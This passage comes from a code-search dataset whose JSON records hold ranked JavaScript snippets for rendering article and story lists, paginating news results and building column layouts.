$(\"#\"+iden).outerHeight(true);\n\t\t\t\t\t}else{\n\t\t\t\t\t\t//figure\n\t\t\t\t\t\t$(\".page-\"+current[\"page\"]+\"#article_\"+key+\" .column_\"+current[\"column\"]).append('<'+elements[current[\"element\"]][\"node\"]+'>'+elements[current[\"element\"]][\"value\"]+'</'+elements[current[\"element\"]][\"node\"]+'>');\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// Checks if item has to be removed (#1)\n\t\t\t\t\tif(remove){\n\t\t\t\t\t\t$(\"#\"+iden).hide();\n\t\t\t\t\t\tremove = false;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// Use the margin on a element if there is any\n\t\t\t\t\tif(marginTop != 0){\n\t\t\t\t\t\tif(marginTop < 0){\n\t\t\t\t\t\t\tmarginTop = 0;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif(current[\"column\"] == (value[\"data-cols\"]-1)){\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\ttotalCounted -= marginTop;\n\t\t\t\t\t\t$(\"#\"+iden).css(\"marginTop\", -marginTop+\"px\");\n\t\t\t\t\t\tmarginTop = 0;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// Gets the height of the last placed element And removes the id attribute\n\t\t\t\t\tlastItemHeight\t=\t$(\"#\"+iden).outerHeight();\n\t\t\t\t\t$(\"#\"+iden).removeAttr(\"id\");\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t// Makes a new column\n\t\t\t\t\tif(totalCounted > heightOfPage){\n\t\t\t\t\t\tif(current[\"column\"] >= cols){\n\t\t\t\t\t\t\t$(\".page-\"+current[\"page\"]+\"#article_\"+key+\" .column_\"+current[\"column\"]).addClass(\"last_column\");\n\t\t\t\t\t\t\tcurrent[\"page\"]++;\n\t\t\t\t\t\t\tcurrent[\"column\"]\t\t=\t1;\n\t\t\t\t\t\t\t$(\".viewer\", thisElement).append('<div class=\"page page-'+current[\"page\"]+' theme-'+value[\"data-theme\"]+'\" id=\"article_'+key+'\" data-pageNumber=\"'+current[\"page\"]+'\" data-articleNumber=\"'+key+'\" style=\"width: '+(widthOfColumn+space)+'px; height: '+heightOfPage+'px\"></div>');\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\tcurrent[\"column\"]++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$(\".page-\"+current[\"page\"]+\"#article_\"+key).append('<div class=\"column column_'+current[\"column\"]+'\" style=\"height: '+heightOfPage+'px\"></div>');\n\t\t\t\t\t\t$(\".page-\"+current[\"page\"]+\"#article_\"+key).width((widthOfColumn+space)*current[\"column\"]);\n\t\t\t\t\t\tmarge = (totalCounted-heightOfPage);\n\t\t\t\t\t\ttotalCounted = 0;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\twhile(done != true);\n\t\t\t\t\n\t\t\t});\n\t\t\tafterLoading();\n\t\t}", "title": "" }, { "docid": "f227d0347a633fe3ff577650b743c3a5", "score": "0.59515536", "text": "function go_articulos() {\n $state.go('complex_articles.list');\n }", "title": "" }, { "docid": "41920a4d7091c51c56cc8435e4608d7e", "score": "0.59315187", "text": "function displayArticles(articles, listId) {\n\n $$.each(articles, function (i) {\n $$(listId).append(`\n <li>\n <a href=\"#\" class=\"item-link item-content\">\n <div class=\"item-media\"><img src=\"${articles[i].urlToImage}\" width=\"100\"></div>\n <div class=\"item-inner\">\n <div class=\"item-title-row\">\n <div class=\"item-title\">${articles[i].title}</div>\n </div>\n <div class=\"item-subtitle\">${articles[i].author}</div>\n <div class=\"item-text\">${articles[i].description}</div>\n </div>\n </a>\n </li>`);\n\n });\n}", "title": "" }, { "docid": "7bb1d24b113735ac807899cd980ef438", "score": "0.59263945", "text": "function node_page_pageshow() {\n try {\n // Grab some recent content and display it.\n views_datasource_get_view_result(\n 'drupalgap/views_datasource/drupalgap_content', {\n success: function(content) {\n // Extract the nodes into items, then drop them in the list.\n var items = [];\n for (var index in content.nodes) {\n if (!content.nodes.hasOwnProperty(index)) { continue; }\n var object = content.nodes[index];\n items.push(l(object.node.title, 'node/' + object.node.nid));\n }\n drupalgap_item_list_populate('#node_listing_items', items);\n }\n }\n );\n }\n catch (error) { console.log('node_page_pageshow - ' + error); }\n}", "title": "" }, { "docid": "b6f515e4773e9ca0ce63f45b062d6041", "score": "0.5913796", "text": "function getArticlesForPage() {\n var mainContentArea = document.getElementById(\"main-content\");\n mainContentArea.innerHTML = '';\n\n var start = (currentPage - 1) * itemsPerPage;\n var end = start + itemsPerPage;\n var articlesToDisplay = getGamingArticles().slice(start, end);\n\n // This sets the HTML for this article inside the main content area DOM element.\n articlesToDisplay.forEach(function(article) {\n mainContentArea.innerHTML += `\n <section class=\"gaming-article-section\">\n <img class=\"gaming-article-image\" src=\"${article.bigImage}\" />\n \n <article class=\"gaming-article\">\n <header>\n <h2>${article.title}</h2>\n </header>\n <p class=\"gaming-article-summary\">\n ${article.summary}\n </p>\n <p class=\"read-more\">\n <a href=\"article.html?articleId=${article.id}\">Read More</a>\n </p>\n </article>\n </section>\n `;\n });\n\n // Sets the HTML at the bottom after all the articles, for paging articles.\n mainContentArea.innerHTML += `\n <section class=\"paging-buttons\">\n <button class=\"${currentPage === 1 ? 'disabled' : ''}\" type=\"button\" onclick=\"previousPage()\">Previous Page</button>\n\n <button class=\"${currentPage === getTotalPages() ? 'disabled' : ''}\" type=\"button\" onclick=\"nextPage()\">Next Page</button>\n </section>\n `;\n}", "title": "" }, { "docid": "f356f6ce5758d19865c12ced2461ec68", "score": "0.59072864", "text": "function showarticles(json_url){\n \n // get list of articles from the API\n $.getJSON(json_url, function(data){\n \n // html for listing articles\n readarticlesTemplate(data, \"\");\n \n // chage page title\n changePageTitle(\"Read articles\");\n \n });\n }", "title": "" }, { "docid": "6180b07952e729ac14977bf0b3b592ef", "score": "0.5900467", "text": "function node_page_pageshow() {\n try {\n // Grab some recent content and display it.\n views_datasource_get_view_result(\n 'drupalgap/views_datasource/drupalgap_content', {\n success: function(content) {\n // Extract the nodes into items, then drop them in the list.\n var items = [];\n $.each(content.nodes, function(index, object) {\n items.push(l(object.node.title, 'node/' + object.node.nid));\n });\n drupalgap_item_list_populate('#node_listing_items', items);\n }\n }\n );\n }\n catch (error) { console.log('node_page_pageshow - ' + error); }\n}", "title": "" }, { "docid": "de10568b9ebad2acc269c3a6c832dfa3", "score": "0.5879128", "text": "function displayArticles() {\n $.each(data, function(key,value) {\n if(!value.featured) {\n $(\".list-slides\").append(\"<div class='article'><h1>\" + value.titre + \"</h1><img src=\" + value.img + \"></div>\")\n }\n else{\n $(\".main-slide\").append(\"<div class='main-article' style='opacity:1'><h1>\" + value.titre + \"</h1><img src=\" + value.img + \"></div>\")\n \n }\n })\n }", "title": "" }, { "docid": "716d4b308bb025c42f8a4b201819634a", "score": "0.5867578", "text": "function getContent(data){\n\tvar pageIDs = Object.getOwnPropertyNames(data.query.pages);\n\tfor(var i = 0; i < pageIDs.length; i++){\n\t\t$(\".searchResults\").append(\"<div class=results><h3><a href='\" + articleURL + pageIDs[i] + \"' target='_blank'>\" + data.query.pages[pageIDs[i]].title + \"</a></h3><p>\" + data.query.pages[pageIDs[i]].extract + \"</p></div>\");\n\t}\n}", "title": "" }, { "docid": "6dd492b5131c29264e111e881bc61cc9", "score": "0.58475965", "text": "function go_articulos() {\n $state.go('articles.list');\n }", "title": "" }, { "docid": "dd4e470aabb995f31572d646334b3c6c", "score": "0.5841511", "text": "function detailPage(ind){\n displayDetails(formatDetails('detail', json.list[ind]));\n // console.log(json.list[ind]);\n document.getElementById(\"homepage\").style.display = \"none\";\n document.getElementById(\"detailpage\").style.display = \"block\";\n }", "title": "" }, { "docid": "74707c596e15be950b3d49aafa196400", "score": "0.5801166", "text": "function PagesContent() {\n\n}", "title": "" }, { "docid": "2d8f19be32c81a9d423067f4948ab71c", "score": "0.57836634", "text": "function findArticles() {}", "title": "" }, { "docid": "31c4f95d2588413c94a3f9378f332e21", "score": "0.5780465", "text": "function getArticles() {\n $.getJSON(\"/articles\", function (data) {\n for (var i = 0; i < data.length; i++) {\n $(\"#articles\").append(\"<p data-id='\" + data[i]._id + \"'><b>\" + data[i].title + \"</b><br />\" + data[i].summary + \"<br />\" + data[i].byline + \"<br /><a href=\" + data[i].link + \">View Article </a>\" + \"|\" + \"<a class=\" + \"save-article\" + \"> Save Article</a></p>\");\n }\n });\n }", "title": "" }, { "docid": "b7c612e2ecc22da0ef9a8b9dac802478", "score": "0.5778797", "text": "function displayArticles(articles){\n articles.forEach(article => {\n let a = document.createElement(\"a\")\n a.href = article.url\n a.target = \"_blank\"\n let p = document.createElement(\"p\")\n p.innerText = `${article.title} by ${article.author}`\n a.append(p)\n document.querySelector(\"#news-div\").append(a)\n })\n}", "title": "" }, { "docid": "64e92a461bd396bd3225e4ec1c477378", "score": "0.5751354", "text": "function displayArticles(arr, n){\n // clear any previously displayed articles\n $(\"#results\").empty();\n // create new list and append it to our 'results' div (span?)\n var articleList = $(\"<ol>\");\n $(\"#results\").append(articleList);\n\n // for loop through the response.data array\n for (var a = 0; a < n; a++){\n // create new list item\n var newArt = $(\"<li>\");\n\n // add headline\n if (arr[a].headline.main){\n var headline = \"<h2>\" + arr[a].headline.main + \"</h2><br>\";\n newArt.append(headline);\n }\n\n // add date and time\n if (arr[a].pub_date){\n var dateTime = \"<h6>\" + arr[a].pub_date + \"</h6><br>\";\n newArt.append(dateTime);\n }\n\n // add author\n if (arr[a].byline.original){\n var author = \"<h5>\" + arr[a].byline.original + \"</h5><br>\";\n newArt.append(author);\n }\n\n // add link to article\n if (arr[a].web_url){\n var webLink = \"<a href = '\" + arr[a].web_url + \"'>\" + arr[a].web_url + \"</a>\";\n // console.log(webLink);\n newArt.append(webLink);\n }\n\n // add list item to list\n articleList.append(newArt);\n }\n }", "title": "" }, { "docid": "3b8edecebdfdcd36d10f3193719eba04", "score": "0.5729113", "text": "addContent(articles) {\n let $self = $('#articles');\n let $loadMoreButton = $self.children('#load-more-button');\n let $listEnd = $self.children('#list-end');\n let $articlesContainer = $self.children('#articles-big-list');\n\n if(this.section === 'noisiest') { // Noisiest list do not allow to load other articles\n $loadMoreButton.hide();\n $listEnd.hide();\n } else if(articles.length < this.defaultNewArticlesNum) {\n $loadMoreButton.hide();\n $listEnd.show();\n } else {\n $loadMoreButton.show();\n $listEnd.hide();\n }\n\n if(articles.length === 0) return;\n\n let articlesObj = articles.map(article => new ArticleBig(article));\n articlesObj.forEach(article => article.create($articlesContainer));\n\n this.articles = this.articles.concat(articlesObj);\n }", "title": "" }, { "docid": "77f69bea8ed04b6353bf90861dcab2a1", "score": "0.5712086", "text": "function navAllStories(evt) {\n hidePageComponents();\n putStoriesOnPage();\n}", "title": "" }, { "docid": "5766c5cd97d3a746bf58f235370970c5", "score": "0.5695056", "text": "function getArticleAnalyticsPage() {\n\n\t$('#main').empty();\n\t$('#main').load('views/articleAnalytics.html', null, function () {\n\t\tfillAutocomplete();\n\t\t$('#articleSearchButton').click(function () {\n\t\t\tgetIndividualArticleStats();\n\t\t\t\n\t\t})\n\t})\n\n}", "title": "" }, { "docid": "848a1a448bde1d40c1b55cf11bfa0573", "score": "0.5676684", "text": "function showMore(e){\n currentPage++;\n let items = paginatorItem(itemsPortfolio);\n buildItems(items)\n}", "title": "" }, { "docid": "b212ad7fa8ef6737d677303d3afac73a", "score": "0.565411", "text": "function ArticlesList(props) {\n return (\n <div className={styles.wrapper}>\n <h2>Hello</h2>\n <ul>\n {props.articles.map((article) => {\n \n return (\n <li key={article.article_id}>\n <p>\n {\" \"}\n <Link to={`/articles/${article.article_id}`}>\n {article.title}{\" \"}\n </Link>\n </p>\n <p>Author: {article.author}</p>\n <p>Number of comments: {article.comment_count}</p>\n <div>\n <VoteButton\n votes={article.votes}\n cardType=\"articles\"\n id={article.article_id}\n />\n </div>\n <p>\n Created on:{\" \"}\n {new Date(article.created_at).toString().slice(0, 16)}{\" \"}\n </p>\n </li>\n );\n })}\n </ul>\n </div>\n );\n}", "title": "" }, { "docid": "69ba9c0bcb152db021dc29580a9aef4b", "score": "0.5607939", "text": "function ArticleList() {\n const articles = useSelector((state) => state.articleList.articles);\n\n if (!articles) {\n return <div className=\"article-preview\">Loading...</div>;\n }\n\n if (articles.length === 0) {\n return <div className=\"article-preview\">No articles are here... yet.</div>;\n }\n\n return (\n <>\n {articles.map((article) => (\n <ArticlePreview article={article} key={article.slug} />\n ))}\n\n <ListPagination />\n </>\n );\n}", "title": "" }, { "docid": "8d7455ec9dad4e773755c685b6ba2998", "score": "0.5595788", "text": "function renderArticles(articles) {\nvar output = \"\";\n\nif (linkHeader != undefined) {\nvar links = parseLinkHeader(linkHeader);\nrenderPagination(links);\n}\n\n// TODO: Cleanup this output code.\nfor(var article = 0; article < articles.length; article++) {\noutput += \"<div class='masonry hoverable col l4 m6 s12 z-index-0' id='linking'><div class='panel'><a href='\" +\narticles[article].url +\n\"' target='_blank' class='panel-body card-title'><h5 class='mv-lg text-bold'>\" +\narticles[article].title +\n\"</h5></a><div class='divider'></div><a href='\" +\narticles[article].url +\n\"' target='_blank' class='panel-body black-text bold-text card-content center '><p id='description-wrapper'>\" +\narticles[article].description +\n\"</p><p class='clearfix'><span class='clearfix left'><small class='mr-sm'>\" +\narticles[article].publication_date +\n\"</small></span><span class='pull-right'><div class='card-action'><a class='right red-text z-index-0' href='\" +\narticles[article].url +\n\"' target='_blank' title='Read More'>Read More</a></div></span></p></div></a></div>\";\n}\n\ndocument.getElementById(\"loading-wrapper\").style.display = \"none\";\ndocument.getElementById(\"articles-wrapper\").innerHTML = output;\ndocument.getElementById(\"pagination-wrapper\").style.display = \"block\";\n}", "title": "" }, { "docid": "03aba7dcf7333ad844b5a6f387f9d905", "score": "0.55843914", "text": "function getSavedArticles() {\n $.getJSON(\"/saved\", function (data) {\n for (var i = 0; i < data.length; i++) {\n $(\"#articles\").append(\"<p data-id='\" + data[i]._id + \"'><b>\" + data[i].title + \"</b><br />\" + data[i].summary + \"<br />\" + data[i].byline + \"<br /><a href=\" + data[i].link + \">View Article </a>\" + \"|\" + \"<a class=\" + \"delete-article\" + \"> Delete Article </a>\" + \"|\" + \"<a class=\" + \"view-comments\" + \"> View Comments</a></p>\");\n }\n });\n }", "title": "" }, { "docid": "227e611de3a003615d9047d10745164c", "score": "0.5578468", "text": "function putStoriesOnPage() {\n console.debug(\"putStoriesOnPage\");\n $allStoriesList.empty();\n // loop through all of our stories and generate HTML for them\n for (let story of storyList.stories) {\n const $story = generateStoryMarkup(story);\n $allStoriesList.append($story);\n }\n $allStoriesList.show();\n}", "title": "" }, { "docid": "18a74027540e646d7caf4961cd498413", "score": "0.55667937", "text": "function listArticles() {\r\n const JSON_SRC = 'MasterPage/json/article_list.json';\r\n let xmlhttp = new XMLHttpRequest();\r\n xmlhttp.onreadystatechange = function() {\r\n if (this.readyState == 4 && this.status == 200) {\r\n let articleList = JSON.parse(this.responseText);\r\n articleList.reverse();\r\n let len = articleList.length;\r\n let htmlContents = \"\";\r\n for (let i = 0; i < len; i++) {\r\n htmlContents += '<p><a href=\"' + articleList[i].url + '\">' \r\n\t\t + articleList[i].articles + '</a>&emsp;' \r\n + articleList[i].date + '</p>\\n';\r\n }\r\n\t\t\t\r\n if (document.getElementById) {\r\n let archivesList = document.getElementById('archives_list');\r\n if (archivesList) {\r\n placeInOuterHtml(archivesList, htmlContents);\r\n }\r\n }\r\n }\r\n };\r\n xmlhttp.open(\"GET\", JSON_SRC, true);\r\n xmlhttp.send();\r\n}", "title": "" }, { "docid": "65651b85eac06fb4709953a50090b476", "score": "0.5566431", "text": "function news_paginations(news,page)\n{\n\n var html = '<div class=\"row\"><div class=\"twelve columns\"><ul class=\"pagination\">',\n count = 1 ;\n \n for(i=0; i < (news.length % news_per_pages) +1; i++){\n // If is current page...\n if(page != count){\n html = html + '<li>';\n }else{ \n html = html + '<li class=\"current\">';\n }\n \n html = html + '<a href=\"#\" onclick=\"javascript:load_news('+count+');\">'+count+'</a></li>';\n count++;\n }\n\n //html = html + \"<li class='arrow'><a href=\"\" onclick='javascript:load_new(xml_news,-2);'>&raquo;</a></li>\";\n\n html = html + \"</ul></div></div>\";\n\n return html;\n \n}", "title": "" }, { "docid": "51065399e6544afd8b9f204c53c26462", "score": "0.5563449", "text": "function putStoriesOnPage() {\n console.debug(\"putStoriesOnPage\");\n\n $allStoriesList.empty();\n\n // loop through all of our stories and generate HTML for them\n for (let story of storyList.stories) {\n const $story = generateStoryMarkup(story);\n $allStoriesList.append($story);\n }\n $favoriteStoriesList.hide();\n $allStoriesList.show();\n}", "title": "" }, { "docid": "ac4be6e0a44e7c9949dd68dd43de6f74", "score": "0.5557097", "text": "function displayArticles () {\n articleDiv.show();\n }", "title": "" }, { "docid": "abd2f52fecd87bea2ac62e1b98b3d69b", "score": "0.5551844", "text": "index() {\n new IndexView({ el: '.pages-wrapper' });\n }", "title": "" }, { "docid": "d21dc185f339f93c70a59eca0442e03a", "score": "0.55464774", "text": "function putStoriesOnPage() {\n console.debug(\"putStoriesOnPage\");\n $allStoriesList.empty();\n\n // loop through all of our stories and generate HTML for them\n for (let story of storyList.stories) {\n const $story = generateStoryMarkup(story);\n $allStoriesList.append($story);\n }\n\n $allStoriesList.show();\n}", "title": "" }, { "docid": "e4e33b6ef3588170c89b441d121f6793", "score": "0.5541573", "text": "function displayArticles() {\n var articlesContent = document.getElementById('articles-content');\n articlesContent.innerHTML = '';\n for (var i = 0; i < articleList.models.length; i++) {\n //create elements\n var articleElement = document.createElement('article');\n var articleTitleElement = document.createElement('h3');\n var articleBodyElement = document.createElement('p');\n var buttonEditArticle = document.createElement('button');\n var buttonRemoveArticle = document.createElement('button');\n var articleIdFromI = document.createElement('div');\n // add classes, id and text to elements\n articleIdFromI.innerHTML = i+1;\n articleIdFromI.style.visibility = 'hidden';\n buttonEditArticle.className = 'edit-article';\n buttonRemoveArticle.className = 'remove-article';\n articleTitleElement.innerHTML = articleList.models[i].title;\n articleBodyElement.innerHTML = articleList.models[i].body.slice(0, 40) + \"... <br><a href='article.html?articleId=\" + (i + 1) + \"'>Read more...</a>\";\n buttonEditArticle.textContent = 'Edit';\n buttonRemoveArticle.textContent = 'Delete';\n // append elements to DOM\n articleElement.appendChild(articleTitleElement);\n articleElement.appendChild(articleBodyElement);\n articleElement.appendChild(buttonEditArticle);\n articleElement.appendChild(buttonRemoveArticle);\n articleElement.appendChild(articleIdFromI);\n articlesContent.appendChild(articleElement);\n }\n //Create add article button at the end of the article list\n var addArticleButtonZone = document.getElementById('add-button-id');\n var addNewArticleButton = document.createElement('button');\n addNewArticleButton.innerHTML = 'Add Article';\n addNewArticleButton.id = 'add-article';\n addArticleButtonZone.appendChild(addNewArticleButton);\n }", "title": "" }, { "docid": "6fabc3d96aa399118046a758aaf2649e", "score": "0.5539388", "text": "function addArticlesToScreen(titles,urls){\n let relatedArticles = document.querySelector(\"#relatedArticles\") //Heading for section\n relatedArticles.innerHTML += `<h4 class=\"white-text\"> Related Articles</h4>`\n \n for(var i =0; i < 10; i++){\n articleDiv.innerHTML += `<p><a href=\"${urls[i]}\">\"${titles[i]}\"</a></p>`\n }\n}", "title": "" }, { "docid": "f6c0b6c4cdad124f0ffd5a6b80277da4", "score": "0.55376583", "text": "function putStoriesOnPage() {\n console.debug(\"putStoriesOnPage\");\n\n $allStoriesList.empty();\n\n // loop through all of our stories and generate HTML for them\n for (let story of storyList.stories) {\n const $story = generateStoryMarkup(story);\n $allStoriesList.append($story);\n }\n\n $allStoriesList.show();\n}", "title": "" }, { "docid": "f6c0b6c4cdad124f0ffd5a6b80277da4", "score": "0.55376583", "text": "function putStoriesOnPage() {\n console.debug(\"putStoriesOnPage\");\n\n $allStoriesList.empty();\n\n // loop through all of our stories and generate HTML for them\n for (let story of storyList.stories) {\n const $story = generateStoryMarkup(story);\n $allStoriesList.append($story);\n }\n\n $allStoriesList.show();\n}", "title": "" }, { "docid": "f6c0b6c4cdad124f0ffd5a6b80277da4", "score": "0.55376583", "text": "function putStoriesOnPage() {\n console.debug(\"putStoriesOnPage\");\n\n $allStoriesList.empty();\n\n // loop through all of our stories and generate HTML for them\n for (let story of storyList.stories) {\n const $story = generateStoryMarkup(story);\n $allStoriesList.append($story);\n }\n\n $allStoriesList.show();\n}", "title": "" }, { "docid": "f6c0b6c4cdad124f0ffd5a6b80277da4", "score": "0.55376583", "text": "function putStoriesOnPage() {\n console.debug(\"putStoriesOnPage\");\n\n $allStoriesList.empty();\n\n // loop through all of our stories and generate HTML for them\n for (let story of storyList.stories) {\n const $story = generateStoryMarkup(story);\n $allStoriesList.append($story);\n }\n\n $allStoriesList.show();\n}", "title": "" }, { "docid": "f6c0b6c4cdad124f0ffd5a6b80277da4", "score": "0.55376583", "text": "function putStoriesOnPage() {\n console.debug(\"putStoriesOnPage\");\n\n $allStoriesList.empty();\n\n // loop through all of our stories and generate HTML for them\n for (let story of storyList.stories) {\n const $story = generateStoryMarkup(story);\n $allStoriesList.append($story);\n }\n\n $allStoriesList.show();\n}", "title": "" }, { "docid": "f6c0b6c4cdad124f0ffd5a6b80277da4", "score": "0.55376583", "text": "function putStoriesOnPage() {\n console.debug(\"putStoriesOnPage\");\n\n $allStoriesList.empty();\n\n // loop through all of our stories and generate HTML for them\n for (let story of storyList.stories) {\n const $story = generateStoryMarkup(story);\n $allStoriesList.append($story);\n }\n\n $allStoriesList.show();\n}", "title": "" }, { "docid": "f6c0b6c4cdad124f0ffd5a6b80277da4", "score": "0.55376583", "text": "function putStoriesOnPage() {\n console.debug(\"putStoriesOnPage\");\n\n $allStoriesList.empty();\n\n // loop through all of our stories and generate HTML for them\n for (let story of storyList.stories) {\n const $story = generateStoryMarkup(story);\n $allStoriesList.append($story);\n }\n\n $allStoriesList.show();\n}", "title": "" }, { "docid": "465aec307b6acae0fe2a4aadca23041c", "score": "0.5537346", "text": "function news() {\n var api_key = \"b7864e77cbca46e68dae6627855def48\";\n var q = \"autism spectrum\";\n var date = \"1990-01-01\";\n var sort = \"relevancy\";\n var lang = \"en\";\n var page = \"8\";\n var queryURL = \"https://newsapi.org/v2/everything?q=\" + q + \"&from\" + date + \"&sortBy=\" + sort + \"&apiKey=\" + api_key + \"&language=\" + lang + \"&pagesize=\" + page;\n\n $.ajax({\n url: queryURL,\n method: \"GET\",\n dataType: \"json\"\n }).then(function (response) {\n for (var i = 0; i < response.articles.length; i++) {\n // console.log(response.articles.length);\n var displaySourceTitle = response.articles[i].title;\n var displaySourceSite = response.articles[i].url\n var displayContent = response.articles[i].content\n //var displaySourceSiteImg = response.articles[i].urlToImage;\n\n var html = `\n <li>\n <div class=\"collapsible-header\"><i class=\"material-icons\">filter_drama</i>${displaySourceTitle}</div>\n <div class=\"collapsible-body\"><a href=\"${displaySourceSite}\">${displayContent}</a></div>\n </li>\n `\n $(\".collapsible\").append(html);\n };\n\n });\n}", "title": "" }, { "docid": "c3508a430ff604461e0080504403d0f2", "score": "0.55342305", "text": "loadArticles () {\n ux.showLoadingMessage(this.element);\n this.articlesService.getArticles().then( articles =>{\n if (articles.length == 0) {\n ux.showNoDataMessage(this.element);\n } else {\n this.renderArticles(articles);\n }\n }).catch((error) =>{\n console.error(\"ERROR RETRIEVING DATA\", error);\n ux.showErrorMessage(this.element);\n });\n }", "title": "" }, { "docid": "8085ca22e4a64db45aa9d581d98aed30", "score": "0.5525949", "text": "function addContent() {\n var topic = dm4c.empty_topic(type.uri),\n page = TR.create_page_model(topic, assoc_def, uri, parent, TR.mode.FORM)\n pages.push(page)\n TR.render_page_model(page, TR.mode.FORM, level, $addDiv, true)\n }", "title": "" }, { "docid": "3abc1758b5d37d5dc15605e5e386b066", "score": "0.5523956", "text": "list(req, res, next) {\n PostModel.find((err, posts) => {\n res.render('posts', { posts });\n }); //end of PostModel.find\n }", "title": "" }, { "docid": "96788bb4be33f42d3d41ede1ec0c4878", "score": "0.5513028", "text": "function displayResults(json) {\n let articles = json.response.docs;\n\n while (section.firstChild) {\n section.removeChild(section.firstChild);\n }\n\n\n\n if(articles.length === 0) {\n console.log(\"No results\");\n } else {\n for(let i = 0; i < articles.length; i++) {\n let article = document.createElement('article');\n let heading = document.createElement('h2');\n let link = document.createElement('a');\n let img = document.createElement('img'); \n let para = document.createElement('p'); \n let clearfix = document.createElement('div');\n\n let current = articles[i]; \n console.log(\"Current:\", current); \n\n link.href = current.web_url; \n link.target ='blank'; //opens a new tab\n link.textContent = current.headline.main; \n\n para.textContent = 'Keywords: '; // #1\n\n \n for(let j = 0; j < current.keywords.length; j++) {\n let span = document.createElement('span'); \n span.textContent += current.keywords[j].value + ' '; \n para.appendChild(span); //attach the 'span' to the keywords (see #1 above)\n }\n\n if(current.multimedia.length > 0) {\n img.src = 'http://www.nytimes.com/' + current.multimedia[0].url;\n img.alt = current.headline.main;\n }\n\n clearfix.setAttribute('class','clearfix');\n\n article.appendChild(heading);\n heading.appendChild(link);\n article.appendChild(para);\n article.appendChild(clearfix);\n section.appendChild(article);\n }\n }\n\n if(articles.length === 10){\n nav.style.display = 'block';\n previousBtn.style.display = 'block';\n nextBtn.style.display = 'block';\n } else if (articles.length < 10 && pageNumber > 0) {\n nav.style.display = 'block';\n previousBtn.style.display = 'block';\n nextBtn.style.display = 'none';\n } else {\n nav.style.display = \"none;\"\n }\n\n\n\n // if(articles.length >= 10 && pageNumber == 0) { //more than 1 page of results but on 1st page\n // nav.style.display = 'block'; //shows the nav display if 10 items are in the array\n // previousBtn.style.display = 'none';\n // nextBtn.style.display = 'block'; // shows the nav display if 10 items are in array\n // } else {\n // nav.style.display = 'none'; //hides the nav display if less than 10 items are in the array\n // } \n }", "title": "" }, { "docid": "01d2013ee2bfc93a2536d7366ebaf66d", "score": "0.5505108", "text": "function sugarListView() {\n}", "title": "" }, { "docid": "44452be74549534eb8b511b56d8f6bbd", "score": "0.55040324", "text": "function displayDataOnHead(topNews){\n // console.log(topNews);\n\n topNews.articles.forEach(content => {\n const spanNode2 = document.createElement(\"li\"); // make fresh <li>\n spanNode2.innerHTML = // news contents\n `<a href=\"${content.url}\">\n <img src=\"${content.urlToImage}\" alt=\"news image\">\n <h2>${content.title}</h2></a>`;\n \n parentNode2.appendChild(spanNode2); // pushing to the <ul>\n });\n}", "title": "" }, { "docid": "c28311ee3def5752fcf6fa43fbc0f9c2", "score": "0.5496999", "text": "function main() {\n\t// 1st <p> tag surrounds the article's main image. So, add 1 to the # of\n\t// paragraphs you want.\n var maxNumParagraphs = 3;\n\n\n jQ(\".post .entry-content\").each(function (i) {\n // Get the full article's address\n var more = jQ(this).find('a.read_more').attr('href');\n\n // From that address, get the first few <p> tags.\n var query = more + ' .entry-content p:lt(' + maxNumParagraphs.toString() + ')';\n\n jQ(this).load(query, function () {\n\t\t\t// Then, after the content has been fetched and inserted,\n\t\t\t// append the [Read more] link again, since we lost it.\n jQ(this).append('<a href=\"' + more + '\" class=\"read_more\">[Read more]</a>');\n });\n\n });\n}", "title": "" }, { "docid": "21298a562eade60d892d3ec65a6fe1a7", "score": "0.5496304", "text": "function LoadNewsDetail(i)\n{\n localStorage.newsDetailItem = i;\n $.mobile.changePage(\"#news_detail\");\n}", "title": "" }, { "docid": "7bf88870d1becf136d9d11099557ec62", "score": "0.5479838", "text": "loadMore(){\n this.getMoviePage();\n }", "title": "" }, { "docid": "eb718b334983bc307ebc7e8f80a64316", "score": "0.5468184", "text": "function showArticle(i) {\n\n currentArticle = i;\n var article = articles[i];\n\n if (article) {\n $('.article .title h1 a').html(article.title);\n $('.article .title h1 a').attr('href', article.alternate[0].href);\n $('.article .title h2 a').attr('href', article.origin.htmlUrl);\n\n // Show human date\n var date = new Date(0);\n date.setUTCSeconds(article.published);\n $('.article .title h2 .date').html(humaneDate(date));\n\n var faviconURL = article.origin.htmlUrl.replace(\"http://\", \"\");\n\n if (faviconURL !== lastFaviconURL) {\n $('.article .title h2 a').css(\"background\", 'url(http://getfavicon.org/?url='+encodeURIComponent(faviconURL)+') 0 0 no-repeat');\n lastFaviconURL = faviconURL;\n }\n\n $('.article .title h2 a').html(article.origin.title);\n $('.article .content').text(\"\");\n\n if (article.content) {\n $('.article .content').append(article.content.content);\n } else if (article.summary) {\n $('.article .content').append('<p>'+article.summary.content+'</p><p><a href=\"'+article.alternate[0].href+'\">Read more</a></p>');\n }\n cleanArticle();\n }\n}", "title": "" }, { "docid": "f4cc42d8255db774a221c91f6ff7edcc", "score": "0.5467961", "text": "function otherTitlesInitializeIndexPage(){\n $('.indexPageItem').click(function () {\n var itemClicked = $(this).find(\"h4\").text()\n otherTitlesOpenPageByName(itemClicked)\n })\n}", "title": "" }, { "docid": "0e8a44ded2a5831223d75170b0c6e36e", "score": "0.5466005", "text": "function showIndex(data) {\n\t\t\t// Save away initial data, stripping off the 'entries' element in the HuffPo feed\n\t\t\tDemo.items = new Demo.Collections.Items(data['entries']);\n\t\t\tDemo.currPage = 0;\n\t\t\t\n\t\t\t// Set up Backbone\n\t\t\tDemo.router = new Demo.Router();\n\t\t\tBackbone.history.start();\n\t\t}", "title": "" }, { "docid": "f828c9ebd09ed17df8f6fbcd3acf8fc3", "score": "0.54613674", "text": "async index({ view }) {\n // const posts = [\n // {title:'Post One', body:'This is post one'},\n // {title:'Post Two', body:'This is post two'},\n // {title:'Post Three', body:'This is post three'},\n // ]\n\n // The posts object is an instance of Vanilla serializer\n const posts = await Post.all();\n // render index page under posts & pass the data title over to the frontend\n return view.render('posts.index', {\n title: 'Latest Posts',\n posts: posts.toJSON(),\n })\n }", "title": "" }, { "docid": "e71e91cbae197c1694dde23f32c17e87", "score": 